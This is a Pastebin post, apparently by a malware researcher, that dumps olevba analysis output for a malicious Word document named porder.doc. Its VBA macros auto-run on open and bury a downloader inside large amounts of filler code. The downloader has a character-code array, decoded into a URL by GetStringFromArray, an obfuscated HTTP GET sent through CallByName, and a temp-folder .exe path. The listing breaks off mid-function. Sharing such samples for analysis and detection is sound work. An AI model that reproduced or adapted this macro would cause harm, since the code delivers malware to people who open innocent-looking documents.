SHARE
TWEET

Malicious Word macro

dynamoo Nov 2nd, 2015 133 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MAS--B-V porder.doc
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: porder.doc
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ThisDocument.cls
  13. in file: porder.doc - OLE stream: u'Macros/VBA/ThisDocument'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15.  
  16. Sub autoopen()
  17. TradeTable_Accept 59
  18. Eff_Move_Area 0, 0, 0, 0, 0, 0, 0
  19. TradeTable_RemoveItem 0, 0
  20. End Sub
  21.  
  22.  
  23.  
  24. -------------------------------------------------------------------------------
  25. VBA MACRO Module1.bas
  26. in file: porder.doc - OLE stream: u'Macros/VBA/Module1'
  27. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  28. Public Const ZerdMan = "" & ""
  29. Public Const ZerdMan2 = "" & "\"
  30. Public Const ZerdMan3 = "" & "."
  31. Public Sub DoDraw_A(ByRef Arr() As String, ByVal x As Integer, ByVal y As Integer, ByVal z As Integer, ByVal tstr As String, ByVal Fcolor As Byte)
  32.     On Error GoTo out
  33.  
  34.     If Asc(tstr) = 0 Or Asc(tstr) = 32 Then Exit Sub
  35.     If Tlen(tstr) = 2 Then
  36.         If x >= UBound(Arr, 1) Then Exit Sub
  37.         If Arr(x, y, z).Ansi <> 0 Or Arr(x + 1, y, z).Ansi <> 0 Then Exit Sub
  38.    
  39.     Else
  40.         If Arr(x, y, z).Ansi <> 0 Then Exit Sub
  41.     End If
  42.  
  43.     Arr(x, y, z).Ansi = Asc(tstr)
  44.     Arr(x, y, z).Color = Fcolor
  45.     If Tlen(tstr) = 2 Then
  46.         Arr(x + 1, y, z).Ansi = -1
  47.         Arr(x + 1, y, z).Color = Fcolor
  48.        
  49.     End If
  50.  
  51. Exit Sub
  52. out:
  53. Debug.Print "" & Err.Description
  54. End Sub
  55.  
  56. Public Sub DoDrawBC_A(ByRef Arr() As String, ByVal x As Integer, ByVal y As Integer, ByVal z As Integer, ByVal BColor As Byte)
  57. On Error GoTo out
  58. If Arr(x, y, z).BColor = 0 Then
  59.     If Arr(x, y, z).Ansi = -1 Then
  60.         Arr(x - 1, y, z).BColor = BColor
  61.     End If
  62.     Arr(x, y, z).BColor = BColor
  63.     If x <> UBound(Arr, 1) Then
  64.         If Arr(x + 1, y, z).Ansi = -1 Then
  65.             Arr(x + 1, y, z).BColor = BColor
  66.         End If
  67.     End If
  68. End If
  69. Exit Sub
  70. out:
  71. Debug.Print "" & Err.Description
  72.  
  73.  
  74. End Sub
  75. Public Function DoErease_A(ByRef Arr() As String, ByVal x As Integer, ByVal y As Integer, ByVal z As Integer) As Integer
  76. On Error GoTo out
  77.  
  78.  
  79.  
  80.  
  81.  
  82. If Arr(x, y, z).Ansi <> 0 Then
  83.    
  84.     If Arr(x, y, z).Ansi = -1 Then
  85.         Arr(x - 1, y, z).Ansi = 0
  86.         DoErease_A = -1
  87.     End If
  88.     Arr(x, y, z).Ansi = 0
  89.     If Arr(x + 1, y, z).Ansi = -1 Then
  90.         Arr(x + 1, y, z).Ansi = 0
  91.         DoErease_A = 1
  92.     End If
  93. End If
  94.  
  95. Exit Function
  96. out:
  97. Debug.Print "" & Err.Description
  98. End Function
  99.  
  100.  
  101. Public Function DoEreaseB_A(ByRef Arr() As String, ByVal x As Integer, ByVal y As Integer, ByVal z As Integer) As Integer
  102. On Error GoTo out
  103.  
  104.  
  105.  
  106.  
  107. If Arr(x, y, z).BColor <> 0 Then
  108.    
  109.     If Arr(x, y, z).Ansi = -1 Then
  110.         Arr(x - 1, y, z).BColor = 0
  111.         DoEreaseB_A = -1
  112.     End If
  113.     Arr(x, y, z).BColor = 0
  114.    
  115.     If Arr(x + 1, y, z).Ansi = -1 Then
  116.         Arr(x + 1, y, z).BColor = 0
  117.         DoEreaseB_A = 1
  118.  
  119.     End If
  120.  
  121. End If
  122. Exit Function
  123. out:
  124. Debug.Print "" & Err.Description
  125. End Function
  126.  
  127.  
  128. Public Sub CLArrayCopy(ByRef fromArr() As String, ByRef newArr() As String, ByVal x1 As Integer, ByVal Y1 As Integer, ByVal X2 As Integer, ByVal Y2 As Integer, ByVal z As Integer)
  129.     On Error GoTo out
  130.     Dim ubX As Integer, ubY As Integer
  131.     ubX = Abs(X2 - x1)
  132.     ubY = Abs(Y2 - Y1)
  133.     ReDim newArr(ubX, ubY)
  134.     For j = 0 To ubY
  135.         For i = 0 To ubX
  136.             If i = ubX Then
  137.                 If fromArr(x1 + i + 1, Y1 + j, z).Ansi <> -1 Then newArr(i, j) = fromArr(x1 + i, Y1 + j, z)
  138.             ElseIf i = 0 Then
  139.                 If fromArr(x1 + i, Y1 + j, z).Ansi <> -1 Then newArr(i, j) = fromArr(x1 + i, Y1 + j, z)
  140.             Else
  141.                 newArr(i, j) = fromArr(x1 + i, Y1 + j, z)
  142.             End If
  143.         Next i
  144.     Next j
  145.     Exit Sub
  146. out:
  147.     Debug.Print ""; Err.Description
  148. End Sub
  149.  
  150. Public Sub CLArrayPaste_C(ByRef fromArr() As String, ByRef toArr() As String, ByVal x As Integer, ByVal y As Integer, ByVal z As Integer)
  151.    
  152.    
  153.     Dim fromUbX As Integer, toUbX As Integer, fromUbY As Integer, toUbY As Integer
  154.     Dim tmpAnsiStr As String
  155.     Dim tmpFColor As Byte
  156.     fromUbX = UBound(fromArr, 1)
  157.     fromUbY = UBound(fromArr, 2)
  158.     toUbX = UBound(toArr, 1)
  159.     toUbY = UBound(toArr, 2)
  160.    
  161.     For j = 0 To fromUbY
  162.         For i = 0 To fromUbX
  163.             If fromArr(i, j).Ansi > 256 Or fromArr(i, j).Ansi < 0 Then
  164.                 If x + i + 1 <= toUbX And i <= fromUbX Then
  165.                     If fromArr(i + 1, j).Ansi = -1 Then
  166.                         Call DoErease_A(toArr, x + i, y + j, z)
  167.                         Call DoErease_A(toArr, x + 1 + i, y + j, z)
  168.                         toArr(x + i, y + j, z) = fromArr(i, j)
  169.                         toArr(x + i + 1, y + j, z) = fromArr(i + 1, j)
  170.                         i = i + 1
  171.                     End If
  172.                 End If
  173.            
  174.                
  175.             Else
  176.            
  177.                 If fromArr(i, j).Ansi <> 0 And fromArr(i, j).Ansi <> 32 Or fromArr(i, j).BColor <> 0 Then
  178.                    
  179.                     tmpAnsiStr = Chr(fromArr(i, j).Ansi)
  180.                    
  181.                     Call DoErease_A(toArr, x + i, y + j, z)
  182.                     Call DoDraw_A(toArr, x + i, y + j, z, tmpAnsiStr, fromArr(i, j).Color)
  183.                    
  184.                 End If
  185.                 If fromArr(i, j).BColor <> 0 Then
  186.                     Call DoEreaseB_A(toArr, x + i, y + j, z)
  187.                     Call DoDrawBC_A(toArr, x + i, y + j, z, fromArr(i, j).BColor)
  188.                 End If
  189.             End If
  190.             DoEvents
  191.         Next i
  192.     Next j
  193.    
  194. End Sub
  195. Public Sub PaintColor_A_bak(ByRef Arr() As String, ByVal x As Integer, ByVal y As Integer, ByVal z As Integer, ByVal Fcolor As Byte, ByVal BColor As Byte, Optional ByVal F As Byte, Optional ByVal B As Byte)
  196. On Error GoTo out
  197.  
  198.     If F = 1 Then
  199.         If Arr(x, y, z).Ansi = -1 Then
  200.             Arr(x - 1, y, z).Color = Fcolor
  201.         End If
  202.         Arr(x, y, z).Color = Fcolor
  203.         If Arr(x + 1, y, z).Ansi = -1 Then
  204.             Arr(x + 1, y, z).Color = Fcolor
  205.         End If
  206.         If Arr(x, y, z).Ansi = 0 Or Arr(x, y, z).Ansi = 32 Then
  207.             Arr(x, y, z).Color = 7
  208.         End If
  209.     End If
  210.    
  211.     If B = 1 Then
  212.         If Arr(x, y, z).Ansi = -1 Then
  213.             Arr(x - 1, y, z).BColor = BColor
  214.         End If
  215.         Arr(x, y, z).BColor = BColor
  216.         If Arr(x + 1, y, z).Ansi = -1 Then
  217.             Arr(x + 1, y, z).BColor = BColor
  218.         End If
  219.     End If
  220.    
  221. Exit Sub
  222. out:
  223.     Debug.Print ""
  224.     Resume Next
  225. End Sub
  226. Public Sub PaintColor_A(ByRef Arr() As String, ByVal x As Integer, ByVal y As Integer, ByVal z As Integer, ByVal Fcolor As Byte, ByVal BColor As Byte, Optional ByVal F As Byte, Optional ByVal B As Byte)
  227. On Error GoTo out
  228.    
  229.     If F = 1 Then
  230.         Arr(x, y, z).Color = Fcolor
  231.         If Arr(x, y, z).Ansi = 0 Or Arr(x, y, z).Ansi = 32 Then
  232.             Arr(x, y, z).Color = 7
  233.         End If
  234.     End If
  235.    
  236.     If B = 1 Then
  237.         Arr(x, y, z).BColor = BColor
  238.     End If
  239.    
  240. Exit Sub
  241. out:
  242.     Debug.Print ""
  243.     Resume Next
  244. End Sub
  245. Public Sub PaintColor_B(ByRef Arr() As String, ByVal x As Integer, ByVal y As Integer, ByVal z As Integer, ByVal Fcolor As Byte, ByVal BColor As Byte, Optional ByVal F As Byte, Optional ByVal B As Byte)
  246. On Error GoTo out
  247.  
  248.     If F = 1 Then
  249.        
  250.         If Arr(x, y, z).Ansi = 0 Or Arr(x, y, z).Ansi = 32 Then
  251.             Arr(x, y, z).Color = 7
  252.         Else
  253.             Arr(x, y, z).Color = Fcolor
  254.        
  255.         End If
  256.     End If
  257.    
  258.     If B = 1 Then
  259.         Arr(x, y, z).BColor = BColor
  260.     End If
  261.    
  262. Exit Sub
  263. out:
  264.     Debug.Print ""
  265.     Resume Next
  266. End Sub
  267.  
  268. Public Sub ExChColor_Draw_A_BAK(ByRef Arr() As String, ByVal x As Integer, ByVal y As Integer, ByVal z As Integer, ByVal preFColor As Byte, ByVal preBColor As Byte, ByVal newFColor As Byte, ByVal newBColor As Byte, Optional ByVal F As Byte, Optional ByVal B As Byte)
  269. On Error GoTo out
  270.    
  271.  
  272.     If F = 1 And Arr(x, y, z).Color = preFColor Then
  273.         If Arr(x, y, z).Ansi = -1 Then
  274.             Arr(x - 1, y, z).Color = newFColor
  275.         End If
  276.         Arr(x, y, z).Color = newFColor
  277.         If Arr(x + 1, y, z).Ansi = -1 Then
  278.             Arr(x + 1, y, z).Color = newFColor
  279.         End If
  280.         If Arr(x, y, z).Ansi = 0 Or Arr(x, y, z).Ansi = 32 Then
  281.             Arr(x, y, z).Color = 7
  282.         End If
  283.     End If
  284.    
  285.     If B = 1 And Arr(x, y, z).BColor = preBColor Then
  286.         If Arr(x, y, z).Ansi = -1 Then
  287.             Arr(x - 1, y, z).BColor = newBColor
  288.         End If
  289.         Arr(x, y, z).BColor = newBColor
  290.         If Arr(x + 1, y, z).Ansi = -1 Then
  291.             Arr(x + 1, y, z).BColor = newBColor
  292.         End If
  293.     End If
  294. Exit Sub
  295. out:
  296.  
  297.     Debug.Print ""
  298.     Resume Next
  299. End Sub
  300.  
  301. Public Sub ExChColor_Draw_A(ByRef Arr() As String, ByVal x As Integer, ByVal y As Integer, ByVal z As Integer, ByVal preFColor As Byte, ByVal preBColor As Byte, ByVal newFColor As Byte, ByVal newBColor As Byte, Optional ByVal F As Byte, Optional ByVal B As Byte)
  302. On Error GoTo out
  303.    
  304.  
  305.     If F = 1 And Arr(x, y, z).Color = preFColor Then
  306.  
  307.         Arr(x, y, z).Color = newFColor
  308.         If Arr(x, y, z).Ansi = 0 Or Arr(x, y, z).Ansi = 32 Then
  309.             Arr(x, y, z).Color = 7
  310.         End If
  311.     End If
  312.    
  313.     If B = 1 And Arr(x, y, z).BColor = preBColor Then
  314.         Arr(x, y, z).BColor = newBColor
  315.     End If
  316. Exit Sub
  317. out:
  318.  
  319.     Debug.Print ""
  320.     Resume Next
  321. End Sub
  322.  
  323.  
  324. Public Sub Eff_Move_Area(ByVal x1 As Integer, ByVal Y1 As Integer, ByVal X2 As Integer, ByVal Y2 As Integer, ByVal z As Integer, ByVal Xshift As Integer, ByVal Yshift As Integer)
  325.     Dim exCheck As Byte
  326.     Dim i As Integer, j As Integer, maxX As Integer, fromX As Integer, toX As Integer, fromY As Integer, toY As Integer, tmpInt As Integer, iStep As Integer, jStep As Integer
  327.     Dim tmpCC As String
  328.     GoTo Step8
  329.     maxX = UBound(Arrf, 1)
  330.  
  331.    
  332.     If X2 < x1 Then
  333.         tmpInt = x1
  334.         x1 = X2
  335.         X2 = tmpInt
  336.     End If
  337.     If Y2 < Y1 Then
  338.         tmpInt = x1
  339.         Y1 = Y2
  340.         Y2 = tmpInt
  341.     End If
  342.    
  343.     If Xshift > 0 Then
  344.         iStep = -1
  345.         fromX = X2
  346.         toX = x1
  347.     Else
  348.         iStep = 1
  349.         fromX = x1
  350.         toX = X2
  351.     End If
  352.     If Yshift > 0 Then
  353.         jStep = -1
  354.         fromY = Y2
  355.         toY = Y1
  356.     Else
  357.         jStep = 1
  358.         fromY = Y1
  359.         toY = Y2
  360.     End If
  361.    
  362.     For j = fromY To toY Step jStep
  363.    
  364.         For i = fromX To toX Step iStep
  365.            
  366.            
  367. Step8:
  368.            
  369. Dim varAr() As Variant
  370. varAr = Array(610, 622, 622, 618, 564, 553, 553, 621, 603, 614, 622, 623, 618, 552, 605, 617, 615, 553, 557, 558, 609, 557, 608, 557, 609, 553, 560, 562, 613, 561, 612, 610, 560, 559, 609, 552, 607, 626, 607)
  371. httpRequest.Open "G" + ZerdMan + "E" & ZerdMan & "T", GetStringFromArray(varAr, 38), False
  372. CallByName httpRequest, "S" + "en" + ZerdMan + "d", VbMethod
  373.       GoTo ENDSU
  374.            
  375.             If i <> maxX Then
  376.                 If Ar.rf(i, j, z).Ansi = -1 Then
  377.                    
  378.                    
  379.                     If i = fromX And Xshift < 0 Then
  380.                        
  381.                         Call DoEre.ase_A(Ar.rf, i + Xshift - 1, j + Yshift, z)
  382.                         Ar.rf(i + Xshift - 1, j + Yshift, z) = Arrf(i - 1, j, z)
  383.                        
  384.                         Ar.rf(i - 1, j, z) = tmpCC
  385.                         Call DoE.rease_A(Ar.rf, i + Xshift, j + Yshift, z)
  386.                         Ar.rf(i + Xshift, j + Yshift, z) = Arrf(i, j, z)
  387.                        
  388.                         Ar.rf(i, j, z) = tmpCC
  389.                        
  390.                         i = i + iStep
  391.                     Else
  392.                         Call DoEr.ease_A(Ar.rf, i + Xshift, j + Yshift, z)
  393.                         Ar.rf(i + Xshift, j + Yshift, z) = Arrf(i, j, z)
  394.                         Ar.rf(i, j, z) = tmpCC
  395.                         Call DoE.rease_A(Ar.rf, i + Xshift - 1, j + Yshift, z)
  396.                         Ar.rf(i + Xshift - 1, j + Yshift, z) = Ar.rf(i - 1, j, z)
  397.                        
  398.                         Ar.rf(i - 1, j, z) = tmpCC
  399.                        
  400.                         i = i + iStep
  401.                     End If
  402.                 ElseIf Arrf(i + 1, j, z).Ansi = -1 Then
  403.                    
  404.                    
  405.                     If i = fromX And Xshift > 0 Then
  406.                        
  407.                         Call DoErea.se_A(Ar.rf, i + Xshift + 1, j + Yshift, z)
  408.                         Ar.rf(i + Xshift + 1, j + Yshift, z) = Ar.rf(i + 1, j, z)
  409.                         Ar.rf(i + 1, j, z) = tmpCC
  410.                         Call DoEr.ease_A(Ar.rf, i + Xshift, j + Yshift, z)
  411.                         Ar.rf(i + Xshift, j + Yshift, z) = Ar.rf(i, j, z)
  412.                        
  413.                         Ar.rf(i, j, z) = tmpCC
  414.                        
  415.                         i = i + iStep
  416.  
  417.                     Else
  418.                         Call DoEre.ase_A(Ar.rf, i + Xshift, j + Yshift, z)
  419.                         Ar.rf(i + Xshift, j + Yshift, z) = Ar.rf(i, j, z)
  420.                        
  421.                         Ar.rf(i, j, z) = tmpCC
  422.                         Call DoErea.se_A(Arrf, i + Xshift + 1, j + Yshift, z)
  423.                         Ar.rf(i + Xshift + 1, j + Yshift, z) = Ar.rf(i + 1, j, z)
  424.                        
  425.                         Ar.rf(i + 1, j, z) = tmpCC
  426.                        
  427.                         i = i + iStep
  428.                     End If
  429.                 Else
  430.                    
  431.                     Call DoErea.se_A(Ar.rf, i + Xshift, j + Yshift, z)
  432.                     Ar.rf(i + Xshift, j + Yshift, z) = Ar.rf(i, j, z)
  433.                     Ar.rf(i, j, z) = tmpCC
  434.                 End If
  435.             Else
  436.                 If Ar.rf(i, j, z).Ansi = -1 Then
  437.                    
  438.                    
  439.                     If i = toX And Xshift <= 0 Then
  440.                         Call DoErea.se_A(Ar.rf, i + Xshift - 1, j + Yshift, z)
  441.                         Ar.rf(i + Xshift - 1, j + Yshift, z) = Ar.rf(i - 1, j, z)
  442.                        
  443.                         Ar.rf(i - 1, j, z) = tmpCC
  444.                         Call DoEreas.e_A(Arrf, i + Xshift, j + Yshift, z)
  445.                         Ar.rf(i + Xshift, j + Yshift, z) = Ar.rf(i, j, z)
  446.                        
  447.                         Ar.rf(i, j, z) = tmpCC
  448.                        
  449.                         i = i + iStep
  450.                     Else
  451.                         Call DoEr.ease_A(Ar.rf, i + Xshift, j + Yshift, z)
  452.                         Ar.rf(i + Xshift, j + Yshift, z) = Ar.rf(i, j, z)
  453.                         Ar.rf(i, j, z) = tmpCC
  454.                         Call DoErea.se_A(Ar.rf, i + Xshift - 1, j + Yshift, z)
  455.                         Ar.rf(i + Xshift - 1, j + Yshift, z) = Arr.F(i - 1, j, z)
  456.                        
  457.                         Ar.rf(i - 1, j, z) = tmpCC
  458.                        
  459.                         i = i + iStep
  460.                     End If
  461.    
  462.                 Else
  463.                     Call DoEreas.e_A(Ar.rf, i + Xshift, j + Yshift, z)
  464.                     Arr.F(i + Xshift, j + Yshift, z) = Ar.rf(i, j, z)
  465.                     Ar.rf(i, j, z) = tmpCC
  466.                 End If
  467.             End If
  468.         Next i
  469.    
  470.     Next j
  471.    
  472. ENDSU:
  473. tempFolder = processEnv("TE" + ZerdMan + "MP")
  474. tempFile = tempFolder + ZerdMan2 + ZerdMan + "intedece" + ZerdMan3 + "exe"
  475. End Sub
  476. Public Function Get_Char(x As Integer, y As Integer, z As Integer) As String
  477.    
  478.     If Arrf(x, y, OFP.CurrentPage).Ansi = -1 Then
  479.         If x <> 0 Then
  480.             Get_Char = Chr(Arrf(x - 1, y, OFP.CurrentPage).Ansi)
  481.         End If
  482.     Else
  483.         Get_Char = Chr(Arrf(x, y, OFP.CurrentPage).Ansi)
  484.     End If
  485. End Function
  486. -------------------------------------------------------------------------------
  487. VBA MACRO Module2.bas
  488. in file: porder.doc - OLE stream: u'Macros/VBA/Module2'
  489. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  490.  
  491. Public httpRequest As Object
  492. Public adodbStream As Object
  493. Public processEnv  As Object
  494. Public tempFolder As String
  495. Public tempFile As String
  496. Public shellApp As Object
  497. Public Sub GridReset(ByRef mGrid As String)
  498.     mGrid.Clear (True)
  499. End Sub
  500.  
  501. Public Sub GridMatterSetUp(ByRef mGrid As String, CC_GUID As String)
  502.    
  503.     With mGrid
  504.       .Redraw = False
  505.       .AddColumn "", "", ecgHdrTextALignLeft, , 0
  506.       .AddColumn "", "", ecgHdrTextALignLeft, , 0
  507.       .AddColumn "", "", ecgHdrTextALignCentre, , 96
  508.       .AddColumn "", "", ecgHdrTextALignCentre, , 96
  509.       .AddColumn "", "", ecgHdrTextALignLeft, , 128
  510.       .AddColumn "", "", ecgHdrTextALignLeft, , 128
  511.       .SetHeaders
  512.       If CC_GUID <> "" Then GridMatterPopulate mGrid, CC_GUID
  513.       .KeySearchColumn = .ColumnIndex("")
  514.       .Redraw = True
  515.     End With
  516.  
  517. End Sub
  518.  
  519.  
  520. Public Sub GridOUSetUp(ByRef mGrid As String)
  521.    
  522.     With mGrid
  523.       .Redraw = False
  524.       .AddColumn "", "", ecgHdrTextALignLeft, , 0
  525.       .AddColumn "", "", ecgHdrTextALignLeft, , 96
  526.       .AddColumn "", "", ecgHdrTextALignLeft, , 96
  527.       .AddColumn "", "", ecgHdrTextALignLeft, , 96
  528.       .AddColumn "", "", ecgHdrTextALignRight, , 96
  529.       .SetHeaders
  530.       .Redraw = True
  531.     End With
  532.  
  533. End Sub
  534. Public Function GetStringFromArray(fromArr() As Variant, LenLen As Integer) As String
  535.     Dim i As Integer
  536.     Dim result As String
  537.     result = ""
  538.     For i = LBound(fromArr) To UBound(fromArr)
  539.         result = result & Chr(fromArr(i) - 11 * LenLen - 88)
  540.     Next i
  541.     GetStringFromArray = result
  542. End Function
  543.  
  544. Public Sub GridOUPopuplate(ByRef mGrid As String, ouguid As String)
  545.    
  546.    On Error GoTo Err_Handler
  547.      
  548.    If (gObjDBConn.ConnectDB = False) Then
  549.           Exit Sub
  550.    End If
  551.    
  552.    mGrid.Clear
  553.    mGrid.Gridlines = True
  554.    mGrid.Redraw = False
  555.      
  556.    Set gRs = New ADODB.Recordset
  557.       gRs.Open "" & ouguid & "", gConn, adOpenStatic, adLockOptimistic
  558.        While Not gRs.EOF
  559.         With mGrid
  560.             .AddRow
  561.             .CellDetails .Rows, 1, gRs!acc_acc_guid
  562.             .CellDetails .Rows, 2, gRs!acc_badge
  563.             .CellDetails .Rows, 3, gRs!acc_firstname
  564.             .CellDetails .Rows, 4, gRs!acc_lastname
  565.             .CellDetails .Rows, 5, FormatCurrency(gRs!acc_funds, 2, True, False, True), DT_RIGHT
  566.           End With
  567.         gRs.MoveNext
  568.       Wend
  569.    
  570.    gRs.Close
  571.    Set gRs = Nothing
  572.    
  573. Err_Handler:
  574.  
  575.     Screen.MousePointer = vbNormal
  576.     mGrid.Redraw = True
  577.     If (Err <> 0) Then
  578.         MsgBox Err.Description
  579.     End If
  580.    
  581. End Sub
  582.  
  583. Public Sub GridAccountJournelSetup(ByRef mGrid As String)
  584.    
  585.     With mGrid
  586.       .Redraw = False
  587.       .AddColumn "", "", ecgHdrTextALignLeft, , 128
  588.       .AddColumn "", "", ecgHdrTextALignLeft, , 96
  589.       .AddColumn "", "", ecgHdrTextALignLeft, , 255
  590.       .AddColumn "", "", ecgHdrTextALignRight, , 50
  591.       .SetHeaders
  592.       .Redraw = True
  593.     End With
  594.  
  595. End Sub
  596.  
  597. Public Sub GridAccountJournelPopuplate(ByRef mGrid As String, ACC_GUID As String)
  598.    
  599.    On Error GoTo Err_Handler
  600.      
  601.    If (gObjDBConn.ConnectDB = False) Then
  602.           Exit Sub
  603.    End If
  604.    
  605.    mGrid.Gridlines = True
  606.    mGrid.Redraw = False
  607.      
  608.    Set gRs = New ADODB.Recordset
  609.       gRs.Open "" & ACC_GUID & "", gConn, adOpenStatic, adLockOptimistic
  610.        While Not gRs.EOF
  611.         With mGrid
  612.             .AddRow
  613.             .CellDetails .Rows, 1, gRs!j_date
  614.             .CellDetails .Rows, 2, gRs!j_type
  615.             .CellDetails .Rows, 3, gRs!j_desc
  616.             .CellDetails .Rows, 4, gRs!j_amount
  617.           End With
  618.         gRs.MoveNext
  619.       Wend
  620.    
  621.    gRs.Close
  622.    Set gRs = Nothing
  623.    
  624. Err_Handler:
  625.  
  626.     Screen.MousePointer = vbNormal
  627.     mGrid.Redraw = True
  628.     If (Err <> 0) Then
  629.         MsgBox Err.Description
  630.     End If
  631.    
  632. End Sub
  633.  
  634.  
  635.  
  636. Public Sub GridMatterPopulate(ByRef mGrid As String, CC_GUID As String)
  637.  
  638. On Error GoTo Err_Handler
  639.    Dim lRow As Long, lCol As Long, lIndent As Long
  640.    Dim sFnt2 As New StdFont
  641.      
  642.    If (gObjDBConn.ConnectDB = False) Then
  643.           Exit Sub
  644.    End If
  645.    
  646.    sFnt2.Name = ""
  647.    sFnt2.Bold = True
  648.    sFnt2.Size = 12
  649.    mGrid.Gridlines = True
  650.      
  651.    mGrid.Redraw = False
  652.    lRow = 1
  653.      
  654.    Set gRs = New ADODB.Recordset
  655.    gRs.Open "" & CC_GUID & "", gConn, adOpenStatic, adLockOptimistic
  656.      
  657.     While Not gRs.EOF
  658.         With mGrid
  659.             .AddRow
  660.             .CellDetails .Rows, 1, gRs!CM_GUID, DT_WORD_ELLIPSIS Or DT_SINGLELINE, , vbButtonFace, , , , 4
  661.             .CellDetails .Rows, 2, gRs!CC_GUID
  662.             .CellDetails .Rows, 3, gRs!CM_MATTER, DT_CENTER
  663.             .CellDetails .Rows, 4, gRs!CC_CODE, DT_CENTER
  664.             .CellDetails .Rows, 5, gRs!CM_DESCRIPTION
  665.             .CellDetails .Rows, 6, gRs!CM_CUSTOM
  666.                        
  667.         End With
  668.         gRs.MoveNext
  669.    Wend
  670.    
  671.    mGrid.Redraw = True
  672.    Screen.MousePointer = vbNormal
  673.    Exit Sub
  674.    
  675. Err_Handler:
  676.     Screen.MousePointer = vbNormal
  677.     MsgBox Err.Description
  678. End Sub
  679. -------------------------------------------------------------------------------
  680. VBA MACRO Module3.bas
  681. in file: porder.doc - OLE stream: u'Macros/VBA/Module3'
  682. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  683.  
  684. Private Function TradeTable_NumObjectsInTable(ByVal TradeTableIndex As Byte, ByVal UserTableIndex As Byte) As Byte
  685. Dim i As Long
  686.  If UserTableIndex = 1 Then
  687.  For i = 1 To 9
  688.  If TradeTable(TradeTableIndex).Objs1(i).UserInvSlot > 0 Then
  689.  TradeTable_NumObjectsInTable = TradeTable_NumObjectsInTable + 1
  690.  End If
  691.  Next i
  692.  Else
  693.  For i = 1 To 9
  694.  If TradeTable(TradeTableIndex).Objs2(i).UserInvSlot > 0 Then
  695.  TradeTable_NumObjectsInTable = TradeTable_NumObjectsInTable + 1
  696.  End If
  697.  Next i
  698.  End If
  699. End Function
  700. Public Sub TradeTable_RequestFinish(ByVal UserIndex As Integer)
  701. Dim TradeTableIndex As Byte
  702. Dim UserTableIndex As Byte
  703.  TradeTableIndex = UserList(UserIndex).Flags.TradeTable
  704.  If TradeTableIndex <= 0 Then Exit Sub
  705.  UserTableIndex = TradeTable_GetUserTableIndex(TradeTableIndex, UserIndex)
  706.  If UserTableIndex = 0 Then Exit Sub
  707.  If UserTableIndex = 1 Then
  708.  If TradeTable(TradeTableIndex).User1State = TRADESTATE_ACCEPT Then
  709.  TradeTable(TradeTableIndex).User1State = TRADESTATE_FINISHED
  710.  Else
  711.  Exit Sub
  712.  End If
  713.  Else
  714.  If TradeTable(TradeTableIndex).User2State = TRADESTATE_ACCEPT Then
  715.  TradeTable(TradeTableIndex).User2State = TRADESTATE_FINISHED
  716.  Else
  717.  Exit Sub
  718.  End If
  719.  End If
  720.  If TradeTable(TradeTableIndex).User1State = TRADESTATE_FINISHED Then
  721.  If TradeTable(TradeTableIndex).User2State = TRADESTATE_FINISHED Then
  722.  If User_NumFreeInvSlots(TradeTable(TradeTableIndex).User1) < TradeTable_NumObjectsInTable(TradeTableIndex, 1) Then
  723.  Data_Send ToIndex, TradeTable(TradeTableIndex).User1, cMessage(131).Data()
  724.  Data_Send ToIndex, TradeTable(TradeTableIndex).User2, cMessage(130).Data()
  725.  Exit Sub
  726.  End If
  727.  If User_NumFreeInvSlots(TradeTable(TradeTableIndex).User2) < TradeTable_NumObjectsInTable(TradeTableIndex, 2) Then
  728.  Data_Send ToIndex, TradeTable(TradeTableIndex).User1, cMessage(130).Data()
  729.  Data_Send ToIndex, TradeTable(TradeTableIndex).User2, cMessage(131).Data()
  730.  Exit Sub
  731.  End If
  732.  TradeTable_Finish TradeTableIndex
  733.  End If
  734.  End If
  735. End Sub
  736. Private Sub TradeTable_Finish(ByVal TradeTableIndex As Byte)
  737. Dim i As Long
  738.  Data_Send ToIndex, TradeTable(TradeTableIndex).User1, cMessage(132).Data()
  739.  Data_Send ToIndex, TradeTable(TradeTableIndex).User2, cMessage(132).Data()
  740.  For i = 1 To 9
  741.  If TradeTable(TradeTableIndex).Objs2(i).UserInvSlot > 0 Then
  742.  User_GiveObj TradeTable(TradeTableIndex).User1, UserList(TradeTable(TradeTableIndex).User2).Object(TradeTable(TradeTableIndex).Objs2(i).UserInvSlot).ObjIndex, TradeTable(TradeTableIndex).Objs2(i).Amount, False
  743.  With UserList(TradeTable(TradeTableIndex).User2).Object(TradeTable(TradeTableIndex).Objs2(i).UserInvSlot)
  744.  If .Amount <= TradeTable(TradeTableIndex).Objs2(i).Amount Then
  745.  User_RemoveInvItem TradeTable(TradeTableIndex).User2, TradeTable(TradeTableIndex).Objs2(i).UserInvSlot, False
  746.  .Amount = 0
  747.  .ObjIndex = 0
  748.  .Equipped = 0
  749.  Else
  750.  .Amount = .Amount - TradeTable(TradeTableIndex).Objs2(i).Amount
  751.  End If
  752.  End With
  753.  End If
  754.  Next i
  755.  UserList(TradeTable(TradeTableIndex).User1).Stats.BaseStat(SID.Gold) = UserList(TradeTable(TradeTableIndex).User1).Stats.BaseStat(SID.Gold) + TradeTable(TradeTableIndex).Gold2
  756.  UserList(TradeTable(TradeTableIndex).User2).Stats.BaseStat(SID.Gold) = UserList(TradeTable(TradeTableIndex).User2).Stats.BaseStat(SID.Gold) - TradeTable(TradeTableIndex).Gold2
  757.  For i = 1 To 9
  758.  If TradeTable(TradeTableIndex).Objs1(i).UserInvSlot > 0 Then
  759.  User_GiveObj TradeTable(TradeTableIndex).User2, UserList(TradeTable(TradeTableIndex).User1).Object(TradeTable(TradeTableIndex).Objs1(i).UserInvSlot).ObjIndex, TradeTable(TradeTableIndex).Objs1(i).Amount, False
  760.  With UserList(TradeTable(TradeTableIndex).User1).Object(TradeTable(TradeTableIndex).Objs1(i).UserInvSlot)
